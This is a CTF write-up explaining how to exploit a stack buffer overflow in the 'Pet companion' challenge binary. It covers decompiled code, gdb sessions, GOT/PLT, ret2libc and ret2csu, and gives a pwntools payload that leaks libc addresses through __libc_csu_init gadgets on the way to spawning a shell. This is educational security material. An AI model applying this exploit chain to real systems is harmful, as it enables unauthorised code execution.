Cyber Apocalypse CTF 2024: Pet companion
Basic analysis
We are working with a 64-bit binary, dynamically linked, and we are also given the loader and libc
used in the remote server. Let’s check its protections using checksec
:
1
2
3
4
5
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Interaction
When interacting with the binary, it shows us a prompt to enter our input:
1
2
3
4
5
❯ ./pet_companion
[!] Set your pet companion's current status: good
[*] Configuring...
Let’s try to overflow the buffer:
1
2
3
4
5
6
7
❯ ./pet_companion
[!] Set your pet companion's current status: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Configuring...
[1] 21100 segmentation fault (core dumped) ./pet_companion
Good news, we have a buffer overflow. Now, we open it up with ghidra
to have a closer look.
Disassembly
The only interesting function is the main
one:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined8 main(void)
{
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
setup();
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
write(1,"\n[!] Set your pet companion\'s current status: ",0x2e);
read(0,&local_48,0x100);
write(1,"\n[*] Configuring...\n\n",0x15);
return 0;
}
As we can see, it initialises the buffer, and then takes 0x100 bytes (256 in decimal) from our input into the buffer, leading to the overflow.
Exploitation
Thanks to the buffer overflow, we have the power to hijack the execution flow of the program in order to return to the address that we want. However, we don’t have any win
function and shellcode can’t be injected into the stack and executed due to the NX bit. Despite that, we have the write
function loaded into the binary, which gives us the possibility to perform a ret2libc
attack.
As we said before, this binary is dynamically linked, which means that it imports the functions from its libraries during runtime, rather than incorporating them directly into the binary itself when it is compiled. This process is done through both the Global Offset Table (GOT) and Procedure Linkage Table (PLT). The GOT stores entries which contain the addresses of library functions loaded at runtime (this is done by the loader), while the PLT contains a series of stubs that redirect function calls to the appropriate shared library functions. We can easily see how this works at a low level using gdb
:
1
2
→ 0x4006a8 <main+94> call 0x4004f0 <write@plt>
↳ 0x4004f0 <write@plt+0> jmp QWORD PTR [rip+0x200ae2] # 0x600fd8 <write@got.plt>
When setting a breakpoint just before the call to write
inside the main
function, we can see how it first calls the PLT address of write
, which will then jump to the GOT entry containing the libc
address for write
.
ret2libc?
Ret-to-libc is an attack based on using the functions and resources already loaded in the libc
, such as the system
function and /bin/sh
string, to exploit the program.
The goal in our case would be to load the /bin/sh
string as first parameter and the make a call to system
to spawn a shell. However, we don’t know the addresses of these two, as they are loaded at runtime and randomised due to ASLR, so we have to find a way to leak these addresses at runtime. Here is when functions such as puts
or write
come into play.
As write
is already loaded in the PLT section we saw before, we can call it and pass the GOT address of write
as parameter in order to leak it. From here, we can leak the addresses of other functions in order to find the libc
the binary is using and finally calculate the offset of system
and /bin/sh
with websites like this. The write
function takes three parameters, which means that we will have to find gadgets to control rdi
, rsi
and rdx
. Sadly, we won’t find such gadgets :(
ret2csu
When we find ourselves lacking gadgets to complete our exploit, we can use a series of functions that allow the dynamic linking of the binary. In this case, we will focus on __libc_csu_init
, which contains the following two gadgets:
1
2
3
4
5
6
7
0x000000000040073a <+90>: pop rbx
0x000000000040073b <+91>: pop rbp
0x000000000040073c <+92>: pop r12
0x000000000040073e <+94>: pop r13
0x0000000000400740 <+96>: pop r14
0x0000000000400742 <+98>: pop r15
0x0000000000400744 <+100>: ret
1
2
3
4
5
6
7
0x0000000000400720 <+64>: mov rdx,r15
0x0000000000400723 <+67>: mov rsi,r14
0x0000000000400726 <+70>: mov edi,r13d
0x0000000000400729 <+73>: call QWORD PTR [r12+rbx*8]
*SNIP*
0x000000000040072d <+77>: add rbx,0x1
0x0000000000400731 <+81>: cmp rbp,rbx // !! rbp = rbx = 1
As we can see, we can control r13
, r14
and r15
, which will respectively go into rdi
, rsi
and rdx
. Finally, it will call the funciton calculated in [r12+rbx*8]
. If we put 0 in rbx
and 1 in rbp
, we will pass the comparison and successfully jump to r12
. With this, we have enough to perform the attack.
Attack
Firstly, we have to find the offset at which we start overwriting the return address, using gdb
:
1
2
3
4
5
6
7
8
9
10
11
12
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: pet_companion
[!] Set your pet companion\'s current status: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
*SNIP*
gef➤ pattern search $rsp
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely
Now we know that we must start our payload with 72 bytes of padding until we reach the return address. The following step is to leak the address using the gadgets stated above:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
gadget_1 = 0x000000000040073a
gadget_2 = 0x0000000000400720
payload = b''
payload += b'a'*72
payload += p64(gadget_1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(exe.got.write) #r12
payload += p64(1) + p64(exe.got.write) + p64(8) # r13, r14, r15 -> rdi, rsi, rdx
payload += p64(gadget_2)
payload += p64(0) * 7 #padding
payload += p64(exe.sym.main) # return to main
Finally, calculate the offset of system
and /bin/sh
and craft the final payload to spawn the shell! (Full exploit can be found here)